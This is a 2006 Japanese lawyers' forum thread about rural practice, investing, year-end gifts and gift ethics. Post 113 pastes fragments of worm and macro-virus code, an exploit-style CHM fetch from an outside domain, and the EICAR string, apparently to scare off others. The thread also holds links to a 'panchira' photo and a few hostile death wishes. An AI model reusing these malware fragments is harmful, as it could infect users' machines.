公設に一生居ることは無理だが、公設で派遣された土地にそのまま
独立開業した人ならいる。そういう選択肢もありだね。その場合は
所得保証はないけど・・・

104 :無責任な名無しさん:2006/12/09(土) 17:16:31 ID:cmfPASca
>>102
そうそう
おまえはどうしたいんだよっていつも思う。
サラ金の良いなりにしておけば間違いないよって書き込みしたくなる(しないけど)

105 :無責任な名無しさん:2006/12/09(土) 18:13:22 ID:ddrjvhlD
>99
裁判所に嫌われることをしたのか事務員が大型のは面倒だと書記官に話したかの
どっちかの可能性

106 :無責任な名無しさん:2006/12/09(土) 18:39:44 ID:Bz/+J9ON
釧路の公設の女性弁護士,人権大会の懇親会で司会させられてたね。
地元の弁護士連中は何考えてんだか・・・

107 :無責任な名無しさん:2006/12/09(土) 20:11:49 ID:B60KaaR+
他人に聞くか自分で考えるかも良し悪しで
悩んでも仕方がない質問は,チャッチャと他人に聞いた方が早く済んで良いよ
運用基準とか書記官とか行政官庁に聞いた方が早い

108 :無責任な名無しさん:2006/12/09(土) 21:13:37 ID:c159tRmp
>>98
公設にいるときは,事件の大半はクレサラだろうけど
都会の事務所に戻ったら,面倒な準備書面を書かなきゃいけない。
事件の性質の違いでしょうね。

109 :MS754 ◆yGUnQdhyV2 :2006/12/09(土) 22:08:21 ID:XRI9fSiP
本日の果物
ミカン 1箱(5s)

累計
イチゴ(あまおう) 12パック リンゴ 16個
洋ナシ 9個  ミカン 3箱(10sが2箱 5kgが1箱)

今年はミカンの年のようです。


110 :無責任な名無しさん:2006/12/09(土) 22:13:26 ID:WNYiozOA
宅配業者って配送記録どの程度記録しているの?
開示請求って出来るの?

111 :無責任な名無しさん:2006/12/09(土) 23:15:03 ID:RVi6PiWE
弁護士で株やってる人いますか?不労所得を持たないと体が持たないよ。

112 :無責任な名無しさん:2006/12/09(土) 23:21:18 ID:kFrxu9V7
男性ネットアイドル真知宇くんのホームページ カッコイイ!!!
北海道函館市に生誕
同志社高校卒
  ↓
1部法学部法律学科卒
  ↓
海上自衛隊幹部候補生(江田島53期)
髪を丸刈りにしたくなので頭髪の自由(憲法13条)を死守して3日で辞める
その後 幹部候補試験内容と江田島の実情とを写真入りでHPで晒しまくって物議をかもす
  ↓
某1部上場企業社長から表彰されたらしい

知らない人は「真知宇」でHP検索してみ

113 :厨房よけ:2006/12/09(土) 23:38:12 ID:uiynWv1G
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
"avgnt"="\"C:\\Program Files\\AntiVir PersonalEdition Classic\\avgnt.exe\" /min /nosplash"
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub
???????







114 :無責任な名無しさん:2006/12/09(土) 23:38:59 ID:ecFNclhX
>>111
最近になって投資全般始めたよ
投資だけで飯食うのはそんな難しいことじゃないと思う
専業投資家も退屈そうだから60歳までは弁護士やるつもりだけどね
でも投資の収入があると余裕が出来てがつがつしなくなった感じ
嫌な仕事やらなくても飯食えるからね

115 :無責任な名無しさん:2006/12/09(土) 23:56:32 ID:VhWUlfca
>>111
朝9時から10時前の裁判所に出かけるまでの時間帯が注文タイム。
夕方,1日の成果を見るのを楽しみに,仕事をがんばる。


116 :無責任な名無しさん:2006/12/09(土) 23:56:51 ID:r3MRN7r3
↑無責任な名無しさん

117 :無責任な名無しさん:2006/12/10(日) 00:08:18 ID:28GLBBKV
〉〉114〉〉115
前向きなレスありがとう。投資まったく初心者の上に経済オンチですが、やはり株の勉強とか難しいですか?

118 :114:2006/12/10(日) 00:43:39 ID:2Ilmd38y
とりあえずネット証券の口座でも開設して少額で始めてみれば?
2ちゃんの投資の板のぞくのもいいかも

119 :無責任な名無しさん:2006/12/10(日) 00:49:10 ID:i8bkq3rC
http://puka-world.com/php/upload/ren/img-box/1165596141192.jpg

いわゆるパンチラ写真

120 :休憩中 ◆tr.t4dJfuU :2006/12/10(日) 04:53:43 ID:N+USsuWr
>111
のめり込まない程度につぎ込む資金を決めてやる。信用取引はどんなに魅力的に
見えてもしないは肝に。横領したりするのはこれで失敗した奴も多いだろう。

私は再生委員の報酬を種にしてはじめて2年くらい。
金融取引について明るくなるので仕事にも少しは役に立つ。

121 :無責任な名無しさん:2006/12/10(日) 09:16:33 ID:lk0N725M
ウワーン(ノД`、)
日曜日の朝っぱらからウイルスにひっかかった

122 :無責任な名無しさん:2006/12/10(日) 10:22:12 ID:cHpUg5sj
>>108
なんで地方だと面倒な準備書面を書かなくていいと考えるかね。
都会と地方の仕事に違いがあるのは事実だとしても、そこから
すぐに、「都会の仕事は高度で地方の仕事は容易」ということには
ならないだろう。
おれは東京のイソ弁から登録替えして地方にきた者だけど、東京
のマチ弁に関しては、単価が高いだけで、東京にいるから優秀だ
全く思わなかったぞ。オレの限られた経験を一般化することはで
きないにしても、東京には優秀とは言いがたい弁護士も数多くいて、
そいつらが食うに困らない程度の仕事(金)があるということは言える
と思う。

123 :無責任な名無しさん:2006/12/10(日) 10:32:19 ID:P50gM+Cz
俺は108じゃないけど、
地方の公設はクレサラばっかりで実質的な準備書面を書いていないとか、そういうことを言いたかったんじゃないかな。
過払い金では、当事者目録と契約目録だけ作ってあとは同じ内容の使い回しなわけだし。

122の言うことは同意だが、なにも都会が高度だとかそういうことじゃないでしょ。

124 :無責任な名無しさん:2006/12/10(日) 10:59:42 ID:4TfPQ21w
公設には都会でやっていけなくて行ってる人も少々いる
そんな弁護士に当たった地方の人は悲惨だな
「○○○市の恥」と言ってる市民もいたな


125 :無責任な名無しさん:2006/12/10(日) 11:07:54 ID:jncggRKq
地方だと,面倒な陳述書をたくさん書かなきゃいけない事件は多いよ。

126 :無責任な名無しさん:2006/12/10(日) 11:20:58 ID:wmcrVOyA
夫婦で来たと話題になったのに、すぐに妻の方が産休になって総スカンくらったり。


127 :無責任な名無しさん:2006/12/10(日) 11:33:29 ID:cHpUg5sj
>>125
そうそう、一般人の事件だと、記憶があいまいで聞き取りに苦労したりする。
会社が取引の記録をほとんど保存してるのと大違い。
都会には都会の、地方には地方の難しさはある。

128 :無責任な名無しさん:2006/12/10(日) 11:42:27 ID:P50gM+Cz
http://www.nakashimalaw.com/essay/miyamoto/index.html

法曹の「質の低下」を嘆いていらっしゃる先生。

129 :無責任な名無しさん:2006/12/10(日) 13:16:09 ID:bmfJV7LH
>>127
地方では,企業からの依頼だとしても安心できない。

「慣習」「常識」という名の慣習法で動いている社会が確立している。
弁護士はクロをシロにするのが仕事だと思っておられる。
法人の概念が理解されてない。会社を節税の道具にしか考えていない。
会社としての適切な手続をとっていない。株主と債権者の区別がついていない。
株主総会は紙の上でやるものだと思っている。
契約書を検討して条項が増えると依頼者からも相手方からも嫌がられる。
労働基準法が存在しない。均等法も存在しない。従業員は小作人,給料は機械のリース料くらいに思っている。
理解した上で無視している経営者から相談を受けるなら,説明すればわかるが,地方じゃ説明すれば非常識呼ばわりされる始末。




130 :無責任な名無しさん:2006/12/10(日) 13:23:22 ID:bmfJV7LH
しかし,「まあ任せとけ」と言って偉そうにしていると,なぜか豪快に報酬が取れる。
着手金が少ないと依頼者が不安になる。

ハッタリを効かせることが必須。時には偉そうに説教したり,時にはおだててごまをすったり。
必要ないのに,相手方を呼びだして,わざわざ依頼者同席で強硬な交渉をしたり。
相談の席からわざわざ役所や銀行や相手方に電話してねじ込んだり。

1日不在の時の電話には,事務員に「本日は1日『東京に』出張しておりまして・・・」と言わせるといい。
なぜかそれだけで偉いと思われ,文句も言われない。

こんな仕事のやり方をしたくてしているのではない。できれば,「地方にも法の支配を」と思っている。
しかし,地方には地方にふさわしい弁護士のサービスというものがある。
現状では,これが弁護士にとっても依頼者にとっても最善のサービス。

131 :無責任な名無しさん:2006/12/10(日) 13:42:46 ID:e/ejYz7z
地方って想像を絶するバカばっかりなんだな。

132 :無責任な名無しさん:2006/12/10(日) 14:09:27 ID:1t06xaWt
弁護士が増えて法テラスができれば変わるんじゃないの。
正しくない姿だとは思う。

133 :無責任な名無しさん:2006/12/10(日) 16:23:13 ID:xeMgphu6
>129
ここまではどういだったんだけど

134 :無責任な名無しさん:2006/12/10(日) 16:34:29 ID:aSYuLVGH
>弁護士が増えて法テラスができれば変わるんじゃないの。
法テラスの親方はどこよ。

135 :爺さん弁護士:2006/12/10(日) 19:18:44 ID:NMiHZ406
法テラス・・?

昔は、国に雇われる弁護士ってのは考えられなかったがね。
検事志望をバカにしたのは、そこら辺に理由のない根拠があったんだが。

まー、法曹に限らず、日本全体が粗製濫造、職業倫理ゼロの時代に入ったのだから、
何を言っても仕方がないか。

この年の瀬、MS先生に習って、メロンいやミカンの箱でも数えていこう。



136 :無責任な名無しさん:2006/12/10(日) 19:33:50 ID:i8bkq3rC
>>131
東京でも小さな会社とか同族会社とかだったら同じだよ

137 :無責任な名無しさん:2006/12/10(日) 19:58:48 ID:J8EavZ9U
あと1日だけ日曜日があれば間に合うのに…。

138 :無責任な名無しさん:2006/12/11(月) 01:01:42 ID:874YmJ2S
http://puka-world.com/php/upload/puka/img-box/1165572947504.jpg

139 :無責任な名無しさん:2006/12/11(月) 01:18:34 ID:ZLNLNx8q
ほし〜のJPEGだけにして

140 :無責任な名無しさん:2006/12/11(月) 01:40:25 ID:874YmJ2S
http://www.uploda.org/uporg611935.jpg
こんな感じかな?

141 :無責任な名無しさん:2006/12/11(月) 10:31:39 ID:XbP0g6EN
http://0server.ddo.jp/~saki/img/saki01610.jpg

142 :無責任な名無しさん:2006/12/11(月) 10:34:32 ID:XbP0g6EN
http://up00.hyperbit.info/up/trash-box/file/20061211012449554.jpg

143 :無責任な名無しさん:2006/12/11(月) 10:35:56 ID:XbP0g6EN
http://ikimen.net/gazo2/img-box/img20061121003025.jpg

144 :無責任な名無しさん:2006/12/11(月) 11:29:16 ID:tZHyJfrJ
>>128
ベテランでも変な判決書く人いるよなあ。

この前、ベテラン裁判官にもらった地裁判決を控訴したら、控訴審の裁判官が
「一読して頭抱えましたよ。なんですか、この判決は!」と叫んでた。
当然、逆転勝訴。

145 :無責任な名無しさん:2006/12/11(月) 13:42:25 ID:HErOg8Du
当事者にそんなことを言うの?

146 :無責任な名無しさん:2006/12/11(月) 14:28:44 ID:8uoDQj2+
先日の高裁判事の自殺に続き,大阪地検の検事も自殺未遂を起こしたという(ソース:共同通信)
心労の多い業界です。
諸先生方も無理されないようくれぐれもご自愛下さい。

147 :無責任な名無しさん:2006/12/11(月) 14:31:12 ID:yiFezS27
>>129
>>「慣習」「常識」という名の慣習法で動いている社会が確立している。
>>弁護士はクロをシロにするのが仕事だと思っておられる。
>>法人の概念が理解されてない。会社を節税の道具にしか考えていない。
>>会社としての適切な手続をとっていない。株主と債権者の区別がついていない。
>>株主総会は紙の上でやるものだと思っている。
>>契約書を検討して条項が増えると依頼者からも相手方からも嫌がられる。
>>労働基準法が存在しない。均等法も存在しない。従業員は小作人,給料は機械のリース料くらいに思っている。

これ、都市部の中小零細企業でも同じ。まあ、東京のような大都会だと違うのかもしれないが。
ちょっと適法性に問題があると指摘したら(明らかに違法な事案)
「そこをなんとかするのが先生の仕事やろ!!」
「先生はワシの味方じゃなかったんですか。先生見損なったわ!!」

なんというか「常識的な法律の会話」が成立しない。常に自分に都合のいいように考え、都合の悪いことを指摘すると
「敵」呼ばわりされる。


148 :無責任な名無しさん:2006/12/11(月) 14:36:50 ID:xzFHQ4Kw
あぁやだなぁそんなのと会話するの・・・
アホと話すのが一番ストレスだ・・
アホが一人残らず死んだらもっといい世の中になるのに。


149 :無責任な名無しさん:2006/12/11(月) 14:37:16 ID:Y8WcDuE8
>>146
特捜外されて修習生の相手させられるハメになって気落ちしたんだろう

150 :無責任な名無しさん:2006/12/11(月) 14:39:46 ID:8uoDQj2+
>>148
残った人の中でさらに差別化が行なわれる。
被差別側にカテゴライズされた人は,それまでエリートだったので打たれ弱く,悲惨な結末となる。


151 :無責任な名無しさん:2006/12/11(月) 14:49:06 ID:yiFezS27
大阪地検の検事が割腹自殺未遂?修習生の指導担当

http://www.yomiuri.co.jp/national/news/20061211i204.htm?from=main2



152 :無責任な名無しさん:2006/12/11(月) 14:54:26 ID:tZHyJfrJ
今は、94年任官の検事が指導係してるの?
新任明けの若い検事が指導係やってると思ったのだが。

153 :無責任な名無しさん:2006/12/11(月) 15:07:58 ID:GTiD0sK0
>>148
アホがおらんようになったらわしらメシの食い上げや

154 :無責任な名無しさん:2006/12/11(月) 19:23:38 ID:XbP0g6EN
>>145
地裁で,想定外の勝訴判決をもらってびっくりしてたら,相手に当然控訴されて,
控訴審の第1回の期日前(相手方代理人が来る前)に,裁判官から,
「これ,どうみても先生のほうが負け筋でしょ。和解してくださいね。」
って言われた。
当然だと思ったので,依頼者説得して和解した。
地裁判決をもらって,自分の感覚を疑っていたが,自分でなく地裁判決が間違っていることがわかり,安心した。

155 :無責任な名無しさん:2006/12/11(月) 19:24:11 ID:XbP0g6EN
首つったり飛び降りたりせず,割腹というのが検事らしくてたくましいですなあ。

156 :無責任な名無しさん:2006/12/11(月) 20:05:20 ID:6Ogpefwa
前の晩にラストサムライを見たんじゃね。

157 :無責任な名無しさん:2006/12/11(月) 21:27:22 ID:WAxKjAtK
>>137
今年のクリスマスイブは日曜ですのお

158 :MS754 ◆yGUnQdhyV2 :2006/12/11(月) 22:48:24 ID:5cmC6d2Z
本日の果物
ミカン 2箱(10s)

累計
イチゴ(あまおう) 12パック リンゴ 16個
洋ナシ 9個  ミカン 5箱(10sが4箱 5kgが1箱)

ミカンが加速中。一体何故? メロンはどこへ?

159 :無責任な名無しさん:2006/12/11(月) 23:19:23 ID:YawRnvEP
漏れメロンよりミカンのほうが100倍くらい好きだお

160 :無責任な名無しさん:2006/12/11(月) 23:27:21 ID:ZLNLNx8q
ミカンよりもバナナが好きです

161 :無責任な名無しさん:2006/12/12(火) 00:43:31 ID:zpugINKE
>>128

     /  _  ̄ \        /_ _ ̄_ ヽv
     /  _.//|/ニヽ ヽ       l, - 、, -、ヽ |  |
     |  /ニヽ ゚ノo<_ノヽキ  _   ,| (:)|(:) |-/   |
     | ├__⊥_つT(   ヽ  |`-c`- ´ 6)_/
      | l/___ / ノ/\ .ノ   l ε   _ノ
    /  ̄7 ̄O ̄ヽ    /    /` V  ̄7 \
    |   |┌──┐| | /     /| ̄  ̄ /   |

「出発点は自分のミスでしょ?。」
                「ごめん、そうだね。」


           ___                _
       / ____ヽ           /  ̄   ̄ \
       |  | /, −、, -、l           /、          ヽ
       | _| -|  ・|< ||           |・ |―-、       |
   , ―-、 (6  _ー っ-´、}         q -´ 二 ヽ      |
   | -⊂) \ ヽ_  ̄ ̄ノノ          ノ_ ー  |     |
    | ̄ ̄|/ (_ ∧ ̄ / 、 \        \. ̄`  |      /
    ヽ  ` ,.|     ̄  |  |         O===== |
      `− ´ |       | _|        /          |
         |       (t  )       /    /      |
「でも、後輩も裁判所も気が付かなくてラッキー!。」
  「ていうか、本当は自分が間違えたと思ってることが間違っているんじゃないの?」

162 :無責任な名無しさん:2006/12/12(火) 01:07:33 ID:/AKTeFQR
>>158
一度、全員を集めて、「事務員がなんて言ったか知らないが、おれはメロンが好きだ。」って
言ってみたら?w

163 :無責任な名無しさん:2006/12/12(火) 01:13:40 ID:7UfnADvm
メロンは産地ではもう味が落ちてます。
氷温保存もお勧めできません。
メロンは是非とも旬でご賞味ください。

164 :無責任な名無しさん:2006/12/12(火) 01:14:52 ID:/asUX6ec
 ちょっとなじみのある依頼者筋から,「先生 今,下にいるの(当事務所は,2階にあり,
1階の出入り口ドアは施錠していた)。お届け物があって」というので,下に降りてみた。今度,
ここのすぐ近くで,「ここからすぐ近くにお店(バー)をやることになった」ということで,招待
状を頂いた。
 最近,酒を持ってくる客が少ないので寂しい。

165 :無責任な名無しさん:2006/12/12(火) 01:20:11 ID:/asUX6ec
>>157
 イヴが日曜だと教会に行く回数が少なくなり,楽だ。金曜日がイブ礼拝で日曜日
が降誕後第1終日礼拝だと疲れる。

166 :無責任な名無しさん:2006/12/12(火) 01:24:34 ID:K7tUGUuJ
>>158
お返しとかするの?

167 :無責任な名無しさん:2006/12/12(火) 01:30:16 ID:/AKTeFQR
>>163
それがさ、今年の夏もメロン率が今一だったらしい。

168 :無責任な名無しさん:2006/12/12(火) 01:44:38 ID:7UfnADvm
>>167
だって今年は不作だったもん。味が。

169 :無責任な名無しさん:2006/12/12(火) 02:50:07 ID:FKxCDiLm
 米を持ってくる客がいるが困る。2階から下ろして車に積むのが
大変だ。
 1年以上事務所に放置しておいた米袋をホームレスの被告人さん(執行猶予で保護会入り)差し上
げたことがある。

170 :無責任な名無しさん:2006/12/12(火) 06:40:38 ID:qjxNUmQ7
ホームレスならメシ炊けないから困るんじゃね?

171 :MS754 ◆yGUnQdhyV2 :2006/12/12(火) 07:49:38 ID:aoGmjptc
うちは、お米の頂き物も多いです。お歳暮では、既に30sを超えています。
これまでで、一番困ったのは、「野菜の詰め合わせセット」でした。
キャベツ、レタス、きゅうり、ニンジン、トマトなどなどがたくさん詰められた
巨大なダンボール箱を頂いたときには、さすがにまいりました。

172 :無責任な名無しさん:2006/12/12(火) 08:38:33 ID:qjxNUmQ7
MSセンセってJAかなんかの顧問先でもあるの?

173 :無責任な名無しさん:2006/12/12(火) 08:50:23 ID:zpugINKE
>>172
俺もそれ疑っている。
JAで無料法律相談とかやっていて、とにかく農家の依頼者が多いとか・・・。

俺は生まれも育ちも修習地も登録も東京なので地方のことはさっぱりわからないが、豪農の遺産分割とかおいしそうなイメージ。



174 :無責任な名無しさん:2006/12/12(火) 09:09:32 ID:K7tUGUuJ
>>173
東京の方の景気はどうですか?

175 :無責任な名無しさん:2006/12/12(火) 09:12:40 ID:1G9un6OD
>>173
豪農や山持ちの遺産分割orz
欲の皮のつっぱった親戚がわんさか集まるから
解決までに2年くらいかかるのがフツー

176 :無責任な名無しさん:2006/12/12(火) 09:42:11 ID:LGA4DMwa
>>173
確か、市場か食品スーパーか何かの顧問だというレスを見た記憶がある。

177 :無責任な名無しさん:2006/12/12(火) 10:24:43 ID:KzcWrfeH
俺,小さなJA信金の顧問やってるけど,ハムの詰め合わせくらいしか
送ってこない。

178 :無責任な名無しさん:2006/12/12(火) 10:30:35 ID:QSy0Q8Vd
農家は総じて子だくさん。
しかも次男以下が家を出るもんだから,笑う相続人,笑う半血兄弟がたくさん出てくる。
しかも山林が多いし。
しかも評価額と実勢価格が一致しない土地ばかりだし。

179 :無責任な名無しさん:2006/12/12(火) 10:50:55 ID:5b1lxH9E
犯罪被害者問題に取り組んできたと称して被害者をもてあそぶ弁護士について

180 :無責任な名無しさん:2006/12/12(火) 13:10:03 ID:Xj9dS3U7
山林はちゃんと手を入れていて1町で100万程度
昔のイメージでもっと金よこせ的なヤツが多いが金にならない。

遺産分割は相続人らが60過ぎて定年になったようなのが多い。
暇に飽かせて好き勝手言うので和解がまとまりにくいのが嫌だ。
団塊のもっている財産は全部没取すべき

181 :無責任な名無しさん:2006/12/12(火) 14:07:19 ID:4PXzQlRG
相隣関係(特に境界)も、70歳前後のおじいさま達が揉めてるのが多いと思う。
20センチはみ出てるだの、昔からここが境界だっただの言って何度も相談に
来て、しまいにはお金はいくらかかっても良い、白黒つけるために裁判やると
まで言う。あの情熱には頭が下がる。
でも、熱心なのはそのおじいさんだけで、子供の代はみな無関心。
結局、暇だから気になるんだろうな。



182 :無責任な名無しさん:2006/12/12(火) 14:41:48 ID:Xj9dS3U7
>>181
最初にふっかけ気味に高いことを言っておくと来なくなるよ。
余所の事務所に行ってるみたいだがw

183 :181:2006/12/12(火) 15:23:05 ID:4PXzQlRG
さすがにその手のを受任したことはありませんw
しかし、これまで自分が担当したことのある5箇所の地方公共団体主催の
無料相談には、ほぼ毎月やってくる常連のじーさんが必ず一人は出てくる。
そして事務所にもガンガン電話かけてくる。
とりあえず、事務所に来たいというのに対しては、忙しい、自分はまだ若くて
経験がないのでできない、境界はとても難しくて専門外だ、等々といろんな
理由でお断りしているが、次の無料相談に行くとまた来ている・・・。
あーうんざり。

184 :無責任な名無しさん:2006/12/12(火) 15:51:44 ID:+3x4T/x4
境界確定訴訟は手間ばっかりかかって採算がとれないが
若い時は暇だったので、それでも貴重な収入源だったな。なつかしいぜ。

185 :無責任な名無しさん:2006/12/12(火) 19:35:43 ID:Xj9dS3U7
常連おるよねw

気に入られるからいけない。

186 :爺さん弁護士:2006/12/12(火) 20:51:33 ID:zpuA3WWW
オラも、JAなんかまったく関係ないが、
昨年、今年も依頼者2か所から新米をいただいたよ。

今まで振り返っても、お米をいただかなかった年は3分の1くらい。
断っておきますが、農村・山村からの依頼者が大半の都道府県じゃないです。
一応、日本で1、2の大都会の弁護士会に属してます。



187 :無責任な無責任:2006/12/12(火) 22:16:37 ID:o/mLokR5
 弁護士会て都市単位ダッケ

188 :無責任な名無しさん:2006/12/12(火) 22:41:53 ID:UBkz3DqW
>農村・山村からの依頼者が大半の都道府県

大都会の弁護士会に属してるからって,
さすがにこれは田舎を馬鹿にしすぎだろw

189 :MS754 ◆yGUnQdhyV2 :2006/12/12(火) 22:46:47 ID:aoGmjptc
172先生、173先生、176先生のうちでは、176先生が一番正解に近いです。

今日は食品類はありませんでした。

190 :無責任な名無しさん:2006/12/12(火) 22:47:02 ID:K7tUGUuJ
>>186
「爺さん」っていくつ?
なんか2ちゃんって若い奴ばかりで
いってもせいぜい40代、とか勝手に思ってたから
意外だ。
爺さんがいるなんて。

191 :無責任な無責任:2006/12/12(火) 23:04:16 ID:o/mLokR5
 少なくとも、50代はいるよ。

192 :無責任な名無しさん:2006/12/13(水) 00:48:34 ID:+JmusjDq
しかしタメ語はまずかったか。
2ちゃんだからついクセで。

193 :無責任な名無しさん:2006/12/13(水) 00:49:46 ID:ULAcqKHq
法廷で声掛け合う謙譲のノリがこのスレでもいいと思う。

194 :無責任な名無しさん:2006/12/13(水) 03:03:56 ID:r7Y117my
てst

195 :無責任な名無しさん:2006/12/13(水) 10:16:36 ID:321BOAxk
土田舎富山の弁護士 死ね。

196 :無責任な名無しさん:2006/12/13(水) 10:56:08 ID:ltg10jAG
>>186
その書き方だと横浜に決定ですね。

1)東京だったら1,2の大都市という表現を使わない。
2)まず、第二の都市で思い浮かべるのは大阪。わざわざ特定されやすい書き方をしない。

よって、横浜に決定。

197 :無責任な名無しさん:2006/12/13(水) 12:53:18 ID:6h3A6FpU
歳暮が気になるって若いね。普通誰に何もらったかもわからんだろ。

198 :無責任な名無しさん:2006/12/13(水) 13:36:22 ID:XLROI5hR
>>197
大きな弁護士法人ならばともかく、地方の個人事務所(いわゆる町ベン)だったらわかるのでは???

199 :無責任な名無しさん:2006/12/13(水) 15:25:14 ID:t69eA+Mv
わかるね。
俺もまあ若いけど

お礼状を書かないといけないのが面倒ではある。
どうせ一人暮らしの俺は飲み屋の姉ちゃんに配るだけだが。

200 :無責任な名無しさん:2006/12/13(水) 15:25:23 ID:6h3A6FpU
俺は町弁だが、お歳暮は勝手に事務員が礼状を書いてくれて事務所に積んどくだけ。
生物は勝手に事務所のおやつになってる。年末にまとめて持ち帰るが、誰が何をくれたか
なんか分かんないよ。
医師も同じなんだろうな。お歳暮送ってもたぶん何とも思ってないよ。

201 :無責任な名無しさん:2006/12/13(水) 15:51:18 ID:gKkYKM7G
>>200
そりゃ数が多くなればそうなるだろうが,うちはまだ数えられる程度なので非常に感謝してるよ。
同じていどのことしてもくれる人もいればくれない人もいる
ほんのちょっとの仕事しかしないないのにずっと何年もくれたりされるとやはりありがたい,弁護士になって良かったと思うよ
まあ,元ボスとかは本当に山積みになっていて印刷の礼状を大量に送っていたがな

202 :無責任な名無しさん:2006/12/13(水) 16:43:48 ID:0+zjdo50
>>200
誰から来たか確認しとかないと、ちょっと危険かと。
受け取ってはいけない人からの贈り物とかもあるから。
破産管財事件での破産者とか、
国選事件の被告人の家族とか。
留守中に事務員が気づかずに受け取ってしまってて、
こちらから送り返すことがしばしばある。

203 :無責任な名無しさん:2006/12/13(水) 18:40:29 ID:t69eA+Mv
>>202
おそらく
1 管財は回ってこなくなった
2 国選はやらない

という地方に良くある損保弁ではなかろうか

204 :無責任な名無しさん:2006/12/13(水) 19:13:08 ID:t1+bzkJf
破産管財人の場合の破産者はすぐに返送するが,
国選事件の被告人の家族からだと微妙だな。

俺だったら,安物ならもらっとくかもしれないな。

205 :無責任な名無しさん:2006/12/13(水) 19:26:59 ID:uke8k9Qk
相手側当事者本人からお歳暮で来た毒饅頭
というのが昭和20年代にあったとか_| ̄|○

206 :無責任な名無しさん:2006/12/13(水) 21:39:34 ID:bQWO0S67
10月に法テラス経由で受任した国選の報酬が
未だに入金されない。
いつになったら入金されるのか。

207 :無責任な名無しさん:2006/12/13(水) 21:44:10 ID:w0ROP7n3
>>203
惜しい。損保弁だけはずれ
損保弁なら歳暮は損保からだけのはず
推理力いまいち

208 :無責任な名無しさん:2006/12/13(水) 22:51:27 ID:AVW539zb
>>207
俺損保弁護士だけど普通の人からもお歳暮来るよ。


209 :無責任な名無しさん:2006/12/14(木) 05:41:00 ID:f4A0mT20
>>205
塩が贈られてきたことはあるよ。

210 :無責任な名無しさん:2006/12/14(木) 05:41:47 ID:NCWX2T9K
ウーン、破産者と管財人は利害対立の要素があるから当然だが、
国選被告人らはどうなんだろ。準公務(員)だからという感覚だろうか。

生保受給中の国選被告人が、無罪をとってやったら、
菓子(3,000円くらい?)を持って礼にきてくれたので恐縮した。
有り難くいただいて、少し多い目のお返しを送っておいたが。

弁護士冥利に尽きる思いをしたんだが・・・。



211 :無責任な名無しさん:2006/12/14(木) 07:26:07 ID:s7Mz7VHW
>210
つ弁護士職務基本規定49条1項

212 :無責任な名無しさん:2006/12/14(木) 08:35:38 ID:f4A0mT20
>>211
もちろん、のしつけて返しました。

213 :無責任な名無しさん:2006/12/14(木) 09:09:33 ID:PM2+oURp
了解 ノシ

214 :無責任な名無しさん:2006/12/14(木) 11:34:35 ID:3NLLRfjD
来年は8日から事務所を開けるつもりだが,皆さんそうですか?

215 :無責任な名無しさん:2006/12/14(木) 12:28:41 ID:qoRjSWqL
8日は祝日ですが。当事務所は9日からです。
事務員さんも喜んでいます。

216 :無責任な名無しさん:2006/12/14(木) 12:30:05 ID:0ZzvI+ub
>>214
休日なのに

217 :無責任な名無しさん:2006/12/14(木) 12:54:24 ID:lXAobPNq
正月には法テラスの当番が入ってますが何か

218 :無責任な名無しさん:2006/12/14(木) 13:01:03 ID:VpAUwIb6
やばい。
どんなに仕事をこなしても、手付かずのままになって
しまう仕事が常時2、3件はある。
2か月も放置の事件もある。

219 :無責任な名無しさん:2006/12/14(木) 13:09:05 ID:lc1yOEAG
>生保受給中の国選被告人が、無罪をとってやったら、
>菓子(3,000円くらい?)を持って礼にきてくれたので恐縮した。
>有り難くいただいて、少し多い目のお返しを送っておいたが

受け取っちゃダメということなら,
受け取って費消した段階で既遂。
後で別の物でお返ししても,
情状で考慮されるだけだろ。

220 :無責任な名無しさん:2006/12/14(木) 13:29:34 ID:ZMt52QqE
2年半放置してた事件が2件あったんだが、この2か月間にやっと
訴訟提起することができた。
3年分の日記を読むのに2年かかった。日頃は依頼者の記憶の曖昧さに
いらいらさせられてるんだが、資料が多すぎるのもよしあしだな。

221 :無責任な名無しさん:2006/12/14(木) 17:50:02 ID:AbR7L6N5
>>220
時々、破産申立をしないで懲戒を食らっている例があるけれど、よく2年半も寝かせられたね。

破産申立をしなくてヤバイのは自由と正義からすると受任から2年が目安なのかな。

222 :無責任な名無しさん:2006/12/14(木) 20:06:02 ID:10wCZ385
>211
 私は、国選の家族が菓子折りをもってきたら、「受取ってはいけないことになっているので、
次回からは気持ちだけでいいですからね」と断って有難くいただくことにしています。
 せっかくの気持ちですから、杓子定木に断って、相手をがっかりさせたくないからです。
 それで倫理規定違反というなら、そんな規定がおかしいんじゃないでしょうか。 

223 :210:2006/12/14(木) 20:09:46 ID:NCWX2T9K
>> 弁護士冥利に尽きる思いをしたんだが・・・。
これを読み取り、レスしてくれるような弁護士が1人もいなかったなー。

>>211 こういう引用をしてくるのが居ることは、想定内。
>>219 「法匪」という言葉を知ってるかい?

この辺で、刑事事件なんかやっておられそうもないMS先生のご所見も・・・。
私は、事件には完勝し、被告人(依頼者)から感謝されれば、
弁護士としてはこれ以上のことはないと思って日々の仕事をしていますが・・・。
それでも、211や219のような方が巣くう日弁連が懲戒などと騒ぎ立ててきたら、
どうぞご勝手にと言うしかない。

>>220、221 3年間放置していた事件2件を、この2ヶ月間余でバタバタと片付けて、
合わせて105万円の報酬を貰ったよ。
 ちなみに、私は、破産申立案件については、
 サラ金・自己破産・同廃・免責事件なら、最短2週間から最長1ヶ月で申立てて、既済。
 事業者、会社(零細・小規模)でも、最長6ヶ月内で申し立て済み
 というスケジュールでやってます。




